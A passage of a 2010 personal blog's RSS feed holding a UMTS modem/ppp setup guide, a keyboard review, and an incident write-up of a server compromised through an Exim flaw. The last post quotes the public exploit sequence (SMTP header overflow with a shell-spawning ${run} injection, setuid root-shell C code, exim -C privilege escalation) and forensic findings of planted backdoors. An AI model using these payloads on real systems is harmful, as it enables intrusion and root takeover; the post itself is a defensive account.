If the modem responds with &#60;q&#62;BUSY&#60;/q
&#62;, &#60;q&#62;NO CARRIER&#60;/q
&#62; or &#60;q&#62;ERROR&#60;/q
&#62;
to any command, &#60;span style="font-family:monospace"&#62;ppp&#60;/span
&#62; will consider the connection attempt failed.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;AT OK-AT-OK
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;This one uses a &#60;q&#62;subexpect/subresponse pair&#60;/q
&#62; (-AT-OK) and
just makes sure that the modem responds (two tries).
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;AT+CFUN=1 OK-AT-OK
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;This command turns the device &#60;q&#62;on&#60;/q
&#62; if it
doesn't do it automatically.
Not sure what &#60;q&#62;on&#60;/q
&#62; means exactly,
maybe that it actually goes on the air looking for its network.
My device does this automatically
after entering the PIN.
(I think that's what the changed LED pattern actually means.)
Anyway, the command just becomes a no-op
when it is issued again.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;AT+CSQ OK
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;This asks for the signal strength.
Not really necessary,
but maybe it fails if there is absolutely no signal.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;AT+CGDCONT=1,\\\"IP\\\",\\\"internet\\\" OK
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;This is somewhat important.
It sets the &#60;q&#62;APN&#60;/q
&#62;.
I'm actually not sure what that is,
but I'm guessing some kind of logical access point
that the mobile network operator can define.
It's just called &#60;q&#62;internet&#60;/q
&#62; in my case,
you have to set the right one for your network.
The Web has lists of these.
Google for &#60;q&#62;umts apn setting&#60;/q
&#62;.
&#60;p /&#62;Actually, the command sets a bundle of parameters known
as a &#60;q&#62;PDP context&#60;/q
&#62;.
There can be many of these,
identified by numbers,
and the modem can be switched around among them.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;AT+CGACT? OK
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Asks the modem which of the above-mentioned contexts
is active.
Not sure why this is necessary or useful,
copied it from an example.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;AT+CGATT? OK
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Asks the modem whether it is attached to the GPRS service.
Presumably this can fail.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;ATD*99***1# CONNECT
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Finally, this is the &#60;q&#62;dial&#60;/q
&#62; command that opens the PPP
connection.
The number 99 seems to be standard.
The part &#60;q&#62;***1&#60;/q
&#62; is optional and specifies the PDP context to
use.
&#60;p /&#62;BTW, I'm guessing the ATD command can also be used to dial
the magic numbers used for activating prepaid time on the card.
Will have to try this later.
&#60;p /&#62;Enough AT commands, back to &#60;span style="font-family:monospace"&#62;ppp&#60;/span
&#62; settings:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;This is another important one.
I didn't look it up in the docs,
but one thing it accomplishes is explicitly setting the
point-to-point address on the network interface.
Appearently the necessity of this depends on the setup
of the peer, i.e. some supply their own address, some don't.
Mine didn't and I always got this in the log:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;tun0: Warning: iface add: ioctl(SIOCAIFADDR, 10.150.178.217
    -&#38;#62; 0.0.0.0): Destination address required
tun0: Error: ipcp_InterfaceUp: unable to set ip address
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;The last two interesting ones are these:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;add default HISADDR   # set default route
enable dns            # set dns servers in resolv.conf
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;And that's basically it. Now
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;$ ppp -ddial o2
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;will establish the connection,
disappear into the background,
and keep it open until killed.
There are a few other modes besides &#60;span style="font-family:monospace"&#62;ddial&#60;/span
&#62;,
consult the manpage.
&#60;p /&#62;&#60;strong&#62;Interesting links:&#60;/strong
&#62;
&#60;p /&#62;&#60;ul&#62;&#60;li&#62;&#60;a href="http://wiki.bsdforen.de/howto/umts_mit_huawei"&#62;A HOWTO in German language&#60;/a
&#62;
at &#60;a href="http://www.bsdforen.de/"&#62;&#60;span style="font-family:monospace"&#62;bsdforen.de&#60;/span
&#62;&#60;/a
&#62;
&#60;/li
&#62;&#60;li&#62;&#60;a href="http://docs.google.com/viewer?a=v&#38;#38;q=cache:RF06UMENUgkJ:www.wireless-products.dk/PDF-filer/RF-Solution-PDF/GPRS%2520AT%2520Command%2520List.pdf+at+cgatt"&#62;&#60;q&#62;AT commands for GPRS&#60;/q
&#62;&#60;/a
&#62;,
some technical documentation from Wavecom at Google docs.
&#60;/li
&#62;&#60;li&#62;&#60;a href="http://www.xs4all.nl/~ernstagn/GPRS-HOWTO/GPRS-HOWTO-5.html"&#62;&#60;q&#62;Controlling your &#60;span style="font-family:monospace"&#62;modem&#60;/span
&#62;&#60;/q
&#62;&#60;/a
&#62;,
chapter 5 of &#60;q&#62;The Linux GPRS HOWTO&#60;/q
&#62;
&#60;/li
&#62;&#60;li&#62;&#60;a href="http://docs.google.com/viewer?a=v&#38;#38;q=cache:5prtAfMEu7UJ:www.ripe.net/ripe/meetings/ripe-53/presentations/gprs.pdf+umts+apn"&#62;&#60;q&#62;UMTS/GPRS system/overview from an IP addressing perspective&#60;/q
&#62;&#60;/a
&#62; (talk slides on Google docs)
&#60;/li
&#62;&#60;/ul
&#62;</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2010/dec/umts-stick.html</guid>
<pubDate>28 Dec 2010 01:35 GMT</pubDate>
</item>
<item>
<title>das keyboard.</title>
<link>http://www.khjk.org/log/2010/dec/das-keyboard.html</link>
<description>
&#60;p /&#62;Yesterday's server fiddling was performed
on one of those things you can only get as presents.
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;a href="log/2010/dec/das-keyboard.medium.jpg"&#62;&#60;img src="log/2010/dec/das-keyboard.klein.jpg" alt="das-keyboard.klein.jpg" /&#62;&#60;/a
&#62;&#60;/div
&#62;&#60;div class="floatcaption"&#62;&#60;q&#62;das keyboard&#60;/q
&#62;, model ultimate S, US layout.
&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;The &#60;a href="http://www.daskeyboard.com/"&#62;official marketing&#60;/a
&#62;
makes it look awesome.
I knew I wanted what they promised.
All the reviews on the web were distinctly positive.
But then there aren't many for a niche product like this.
The only way to get it is by mail order.
No stores carry it.
None of my friends have one.
No way to try before purchase.
And of course it's expensive.
&#60;p /&#62;So I put it on my Amazon wishlist,
mentioning something about fetishism in the comment area.
&#60;p /&#62;Here's the feature run-down:
It's a full-size USB/PS2 keyboard without labels;
&#60;a href="http://en.wikipedia.org/wiki/Buckling_spring"&#62;buckling spring switches&#60;/a
&#62;
like the infamous &#60;a href="http://www.aibpc.com/?p=439"&#62;Model M&#60;/a
&#62;;
n-key rollover;
color: black.
A keyboard for typists.
&#60;p /&#62;My first impression was, erm,
I'll let the twitter quote stand for itself:
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;img src="log/2010/dec/orgasmic.klein.png" alt="orgasmic.klein.png" /&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;The fine click,
perfectly synchronized by the laws of physics to the
actual moment of contact.
Words can not describe it.
&#60;p /&#62;So yeah, I'm very happy so far.
As for the build, it seems sturdy,
has a good weight and proper rubber pads.
Let's hope it lasts a good few years!
</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2010/dec/das-keyboard.html</guid>
<pubDate>26 Dec 2010 14:46 GMT</pubDate>
</item>
<item>
<title>System compromise</title>
<link>http://www.khjk.org/log/2010/dec/compromise.html</link>
<description>
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;a href="log/2010/dec/h4xx0red.medium.jpg"&#62;&#60;img src="log/2010/dec/h4xx0red.klein.jpg" alt="h4xx0red.klein.jpg" /&#62;&#60;/a
&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;As if to put me in the right mood for the upcoming
&#60;a href="http://events.ccc.de/congress/2010/"&#62;Chaos Communication Congress&#60;/a
&#62;,
the server that hosted this domain was &#60;q&#62;externally realigned&#60;/q
&#62; a few days
ago. ;)
&#60;p /&#62;I hear the exploit has really been making the rounds
(it was &#60;a href="http://it.slashdot.org/story/10/12/10/1529206/Remote-Exim-Exploit-In-the-Wild"&#62;slashdotted&#60;/a
&#62;, too).
And I can kinda tell why: It is a really gorgeous remote buffer overflow / local
priviledge escalation combo in Exim.
The Exim that was included as the default mail server on Debian stable until
a few days ago.
&#60;p /&#62;As to how it works,
quoting the &#60;a href="http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html"&#62;report&#60;/a
&#62;
by someone named Sergey Kononenko:
&#60;blockquote&#62;Here I can put brief sequence of attack:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;EHLO mail.domain.com
MAIL FROM: &#38;#60;orderruc0e@???&#38;#62;
RCPT TO: &#38;#60;postmaster@???&#38;#62;
DATA
MAILbombhdr0001: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB...
...
MAILbombhdr0054: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB...
HeaderX: ${run{/bin/sh -c 'exec /bin/sh -i &#38;#60;&#38;#38;3 &#38;#62;&#38;#38;0 2&#38;#62;&#38;#38;0'}}${run{...
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbo...
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbo...
...
about 700000 the same strings
...
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbo...
MAILbombMAILb
.
&#60;/code
&#62;&#60;/pre
&#62;&#60;/blockquote
&#62;&#60;p /&#62;I'm not &#60;em&#62;entirely&#60;/em
&#62; sure what's going on in that header there,
i.e. why that works,
but it's obviously a remote hole that gets you a shell on the host.
This would run as an unpriviledged user, but,
still quoting the same source:
&#60;p /&#62;&#60;blockquote&#62;after that attacker gets shell with id of user &#60;span style="font-family:monospace"&#62;Debian-exim&#60;/span
&#62; and cwd
in &#60;span style="font-family:monospace"&#62;/var/spool/exim4&#60;/span
&#62;
then it put file there file setuid with trivial execution of root shell:
&#60;pre&#62;&#60;code&#62;int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}
&#60;/code
&#62;&#60;/pre
&#62;&#60;/blockquote
&#62;&#60;p /&#62;Yeah, that would spawn a root shell, if it could.
E.g. if it was setuid root.
The free sudo, as I'd like to call it.
How do we get there? Check this out:
&#60;p /&#62;&#60;blockquote&#62;and create another file &#60;span style="font-family:monospace"&#62;e.conf&#60;/span
&#62; with following content:
&#60;pre&#62;&#60;code&#62;spool_directory = ${run{/bin/chown
root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}}
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;the he runs:
&#60;pre&#62;&#60;code&#62;exim -Ce.conf -q
&#60;/code
&#62;&#60;/pre
&#62;&#60;/blockquote
&#62;&#60;p /&#62;Ahahahah! There we go, just tell Exim what we want, and it does it.
As root. Thanks!
&#60;p /&#62;&#38;#8230;
&#60;p /&#62;So, I copied any important data off the system.
Then I ran &#60;a href="http://www.checkrootkit.org"&#62;&#60;span style="font-family:monospace"&#62;chkrootkit&#60;/span
&#62;&#60;/a
&#62; and
&#60;a href="http://www.rootkit.nl/projects/rootkit_hunter.html"&#62;&#60;span style="font-family:monospace"&#62;rkhunter&#60;/span
&#62;&#60;/a
&#62;.
Both emitted a bunch of bogus warnings and the latter didn't find anything.
However, &#60;span style="font-family:monospace"&#62;chkrootkit&#60;/span
&#62; spotted a curious &#60;span style="font-family:monospace"&#62;bash&#60;/span
&#62; process listening on a network port.
The process could actually be seen on &#60;span style="font-family:monospace"&#62;netstat&#60;/span
&#62;.
I killed it. And Exim.
&#60;p /&#62;Also, I noticed &#60;span style="font-family:monospace"&#62;pstree&#60;/span
&#62; showing two &#60;q&#62;&#60;span style="font-family:monospace"&#62;named&#60;/span
&#62;&#60;/q
&#62; processes.
Wait&#38;#8230; I'm not running DNS here.
And were these in the &#60;span style="font-family:monospace"&#62;ps&#60;/span
&#62; I did earlier?
Nope, omits them.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;# grep named /etc/*
rc.local: /sbin/named # Starting named daemon
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;o.O
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;# cat /etc/rc.local
/sbin/named # Starting named daemon
/usr/sbin/sshd # Starting sshd daemon
/sbin/service iptables stop # Stopping firewall
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Hm, I don't have &#60;span style="font-family:monospace"&#62;/sbin/service&#60;/span
&#62;.
Looks like his kit was expecting Red Hat.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;# strings /sbin/named
[...]
bash
Password: 
Incorrect password.
.-= Backdoor made by Mironov =-.
.-= Running =-.
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Aha. Some Google hits on this from years past. &#60;strong&#62;shrug&#60;/strong
&#62;
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;# strings sshd | grep -C 3 backdoor
Could not chdir to home directory %s: %s
/dev/devno
xxxxx are %d entries in the log
xxxx xxxxx  backdoor
Oupss
session_new: init
session_new: session %d
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Eheheh, so that's why my &#60;span style="font-family:monospace"&#62;ssh&#60;/span
&#62; session died.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;# find / -user root -perm -4000  # setuid root
[...]
/sbin/shs
# strings /sbin/shs
[...]
[Welcome Morfeus]
/bin/sh
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Yeah. So&#38;#8230;
&#60;p /&#62;As luck would have it,
I was in the middle of migrating to a new machine anyway.
So I completed the move and shut the old system down.
&#60;p /&#62;:)
</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2010/dec/compromise.html</guid>
<pubDate>25 Dec 2010 18:00 GMT</pubDate>
</item>
</channel>
</rss>
